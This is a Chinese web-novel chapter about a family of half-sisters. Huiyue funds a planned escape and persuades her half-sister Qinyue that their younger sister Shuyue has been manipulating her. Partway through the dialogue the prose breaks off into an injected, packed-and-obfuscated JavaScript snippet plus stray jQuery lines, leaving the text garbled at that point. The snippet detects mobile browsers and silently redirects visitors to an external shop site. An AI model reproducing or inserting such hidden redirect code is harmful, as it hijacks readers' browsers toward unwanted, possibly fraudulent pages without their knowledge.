这还是将嫁妆里的现银移了过来。
徽月从里面将十两拨到一旁:“杨老伯那儿还有十两尾款没有结,这部分要先留出来……”
“啪!”桌上突然多了两锭银子。
徽月歪头看向一旁装作若无其事的方观棋。
【我这几年也有点积蓄,虽然不多,但是既然是一起出行,我也应当出一份力的。】
“那就算在咱们的公账上。”她提笔记下,又拿起一角银子递到他手里,“这两钱银子你收着。”
观棋连连挥手。
【我用不上,全都放在姑娘这里就好。】
“每个人身上还是要留一些银子应急,不然出了什么事手里没点银钱总归是不方便。”徽月怕他再拒绝,掰开他的手硬塞进去。
观棋在徽月掰开他手的一瞬间,浑身僵硬,无法动弹。握着银子只觉烫手,头低得快要埋到胸口。
徽月一转头,冲着小园笑眯眯一摊手。
“干嘛?”向小园一见自己姑娘这个笑容就觉不妙,捂着荷包退了两步。
“你的银子呢?快快上贡!”
“姑娘……我能自己保管吗?你看你手里这么多银子又重又不好拿,我帮你解决你一部分吧……”
“少来!最小的弟弟都交上来了,你身为二姐怎能例外?快快拿来……”徽月也不动,只是勾勾手。
向小园天人交战好一会儿,才苦着脸从衣襟深处取出贴身放着的荷包。手递出去半截又收回来,递出去又收回来,反复好几次,终于狠下心递给孟徽月。
看她那个犹豫劲儿,徽月终于忍不住哈哈大笑,也不再逗她:“和你闹着玩呢,你收好便是,我手里这些银钱足够咱们到徽州了。”
“不行!”小小守财奴把荷包塞给徽月,闭上眼睛,“我也要为咱们日后出一份力!姑娘为我们做了这么多,我能帮的也就这点了。”
她摆着手:“快点拿好啊姑娘,我怕我控制不住自己的手……”
“好好好,难为你有这份心。钱归一处,心向一方,是个好意头!你也留二钱银子傍身。”
小园捏着那一角银子,一脸餍足。
真是个小守财奴!徽月摇摇头把那十两银子递给方观棋:“这个你拿着,杨老伯那有消息后你去结款拉货。拿到尸体后我会找个由头赶你出府,到时你就在府外接应。”
想着又拿出十两银子:“这钱观棋你收着,你在府外接应这钱作为备用金。有什么突发事件联系不上我们,你就动用这钱。”
观棋点点头。
出逃的这一天终于要来了。
这几日折春阁里难得的风平浪静。书月倚在榻上提笔写诗,一会儿咬着笔杆蹙眉凝思,一会儿又拿起宣纸欣赏。
琴月冷眼看着:“整日弄这些吟诗作赋的有什么意思?想着靠这些高嫁吗?”
书月连个眼神都没分过去:“那你呢?整日在马场上窝着,就爱蹴鞠、击丸这种不堪大雅的运动,活像个野人!是想上阵杀敌还是以后嫁个武将?也是,晒得黑黢黢,哪个贵公子能看上你,也就和那粗鄙野夫配成对。”
“武将怎么了?没有他们戍卫边疆,你如今能在这对影自怜?”
“姐姐与其和我在这儿争执这些无用之事,倒不如借着你的好武力帮着姨娘解决孟徽月和徐文焉这两人。”帕子掩着打了个哈欠,书月懒懒道,“如今姨娘地位不稳,咱们也跟着遭罪。这下人们最是见风使舵,换个风向一吹,他们就当做变天。这几日府里时兴的果子都先送到那云裳苑,咱们几时遭过这个罪?”
“姨娘呢?”琴月探头。
对着琴月这个粗人,书月不想再多言,唤兰因扶她起身,拿着刚写好的宣纸便要出门。
“我问你话呢?姨娘怎么不在?”
“自然是在书房服侍父亲。”书月眼里压不住的嫌弃与鄙夷,“咱们是倚着父亲的宠爱才能在这府里呼风唤雨,姐姐不会不知吧?把握住父亲的心,才是在孟家的生存之道,这么多年了你居然连这个道理都不明白。二姐姐若是不懂,至少也在别的方面为咱们折春阁出出力吧!”
书月头也不回出了院。
“这个妮子!”琴月狠狠踢了脚椅子。
依靠父亲才是生存之道?
琴月总觉得她的话隐隐有不对之处,却说不上来哪里不对。
烦躁地抓了抓脑袋,所以她最烦这种弯弯绕绕的酸腐气!明明一句话能说清的事,偏要拐七八个弯。
“话就不能直说?有那功夫磨嘴皮子,不如上场踢两脚球,输了赢了都痛快!”她拿起杓棒便往外走,被侍女胜儿死死拉住,“姑娘可不能这时候出门蹴鞠!姨娘前日里就放了话,让姑娘在府里静静心,您这一出去回来怕是又要挨骂!”
琴月将杓棒掷在地:“都是那孟徽月!徐姨娘一向胆怯,肯定是她怂恿着才和姨娘争宠。不然如今我如何出不了府?还要被书月那妮子嘲笑!”
那句在“别的方面出出力”不知怎的就闯了进来。
她一跺脚冲出门,朝结海楼奔去。
胜儿暗叫不好,忙跟出去。
“孟徽月呢?叫她给我出来!”一把推开结海楼的院门,琴月大声嚷嚷。
正在洒扫的立冬吓了一跳:“二……二姑娘……”
“你家姑娘呢?”她对着立冬倒是态度缓和了点。
立冬也不说话,只是低着头。
“不知二姑娘有何事?”赵婆子迎了上来,“不如先坐下喝口水,老奴去请我们姑娘。”她使了个眼色,“立冬,上茶。”
借着系统,琴月刚踏进结海楼徽月便已知晓,赵婆子还未开口,她抚了抚耳坠:“请二姑娘来醉枫亭。”
见徽月安然坐于亭中,湖面粼粼金光,好一派怡然之景!
“坐。”徽月随意指了指面前的座位。
琴月剑眉横竖:“你挑拨的整个家不得安宁,到在这儿悠闲得很啊。”
“我做什么了?”
“若不是你撺掇,徐姨娘那老实性子怎会和我姨娘争宠?肯定是你从中挑拨!你还真是心思狠毒!”
徽月不说话,只是静静看着琴月。从头到脚,又从脚看到头。看得琴月起了层薄薄的鸡皮疙瘩。
“你看什么!为何不说话!”
“你的名字起得确实恰如其分。”
没头没脑冒出这么一句,琴月一头雾水:“什么意思?”
“琴这个字,的确很衬你,”徽月抱着手臂后靠在椅背上,“对牛弹琴的琴。我原以为你只是被人挑拨,没想到是真的蠢!”
“什么!”琴月从椅子上蹦起便要冲过来,被胜儿死死拽住。
“徐文焉何至于反击?你姨娘的手段你不会不清楚吧,本来只要不是做得太绝,以徐文焉的性子就会这么柔柔弱弱窝在云裳苑过完这一生。要怪只怪任秀容逼得太狠,你们不给别人活路,别人又为何要顾及你的生死?”
“姨娘也只不过是为了自保……她在府里无依无靠……”
“谁不是在府里无依无靠?至少你还有亲娘在身边。我呢?”
孟徽月突然起身逼近琴月,低头俯视着她。
“你看我不顺眼,究竟有没有问过自己为什么?说我借着嫡出的身份,这身份给你要不要?不说吃穿用度,这婚事你若满意便拿去。”
琴月张了张嘴,却发现自己竟无从反驳。
她虽是庶出,姨娘待她不如妹妹亲和,可时兴的料子,新鲜的吃食,徽月还未曾听过,她们便已享用上了。
“所以我说你蠢,”徽月看着她彷佛看着什么不争气的东西,“你不是厌恶我,你是被人挑唆着,潜移默化觉得厌恶我才是正理。”
琴月心头一跳:“谁说我是被人挑唆的?”
“小时候咱们关系还算和睦,虽然任姨娘不怎么高兴你和我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640964|205365||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
玩,可府里就咱们两个年纪相仿的女孩子,总是能玩到一处的。开始吵架是书月出生两三年吧?她一见我便哭,不是说我抢她的东西,就是说弄脏了她的衣服。你是个急性子,次次信以为真。你就没想过,我为什么要这么做?”
“当然是怪我姨娘跟了父亲,抢了你母亲的宠爱……”
“那我为何要对你和颜悦色,只对书月如此?”
琴月瞳孔闪烁。
“你觉得是护着亲妹妹,”徽月嘴角浮起一丝嘲弄,“她平日里跟你说什么?是不是说,我仗着嫡出欺压庶出,处处戏弄你们?是不是说,若你们姐妹联合起来,便能制衡我?是不是还说,姨娘要在府里管家,就必须下一下我这个嫡长女的面子给她立威?”
琴月的脸色一点一点白了。
“你……你怎么知道?”
“她每次撺掇你和我争吵,再假装拉架,以退为进实则句句挑拨你的怒火。到后任姨娘和父亲只责怪你一人,嫌你不动脑子不懂事,她倒成了人人嘴里知书达理,举止合宜的孟府闺秀。融月亭那次如此,家宴那次也是如此。你仔细想想,只怕是能回忆起更多。”
琴月的呼吸急促起来。
任姨娘和书月亲亲热热,自己被撂在一边的画面。明明每次找徽月麻烦,最后书月却总能全身而退的画面……点点滴滴都浮在眼前。
“你这是在挑拨我们姐妹关系……”她犹自嘴硬。
“如若你们关系真的好,我多说也无益。只是……”徽月有些怜悯地望向她,“你是个直爽性子,不肯弯弯绕绕,也看不上那些靠男人活着的女人。我知你本性不坏,不愿你一直被人利用,为何不站在高处,跳出这府里一亩三分地,往更高处更远处看看?”
“你说我心思深沉,我不否认。我为了过上自己想要的生活,去搏一把、拼一把有何不可?书月心思难道不深?她拿你当刀,杀完人,刀折了又怎样?她不过拍拍手,扔了再换一把。”
她的瞳孔黑得深邃:“你说,谁更坏?”
徽月不再看向徽月,走至亭边凭栏远眺:“嫡庶真就那么重要吗?你自幼骑射俱佳,蹴鞠场上连那些将门之子都不一定踢不过你。你有胆量、有本事,为何不用在正途?如今女皇临朝,开了女子当官的先例,如今朝堂有三位女官,如此机会为何不好好把握?她们有嫡有庶,无需靠谁的宠爱,只凭借自己的能力立足天地间,如何不畅快?”
她转过身,目光灼灼:“你难道就不想试一试?”
琴月像听到了什么不得了的事,猛地起身:“你少在这蛊惑我,我不会听的……”
说着仓皇逃离醉枫亭,不小心踢翻了脚边的竹篮,撒了一地梨汁。
只留满地黏腻。
回折春阁的路上,孟琴月忽然知道自己隐隐不舒服的感觉是什么了。
是堵在心口的一口气。
她有胆量,有能力,为何要困在后院去做她不擅长且不屑之事?
她心跳快得惊人。
“你难道就不想试一试?”
她心底不知何时扎根的种子,此刻因这句话生根发芽。
“今天的事不准告诉任何人!”她警告胜儿,放缓走向折春阁的脚步。
书月和任秀容在窗边不知低声谈着什么,见她进屋倏地静音。
“又去找徽月麻烦了?那丫头没给你气受吧?”
第一次,她看清了姨娘眼底的伪装成关心的借题发挥和书月眼中的幸灾乐祸。
她顿了顿,冷淡开口:“没去,只是在园子里逛了逛。”
转身回屋,听见身后飘来的轻声嘀咕:“你不是说她气冲冲去了结海楼?这可把咱们的计划全打乱了……”
“二姐姐今日怎的没冲动……”
琴月忽然觉得好笑。
抬头看了一眼那堵高高的院墙。墙外是什么,她见过却没在意过。但今天,她有点想去闯一闯了。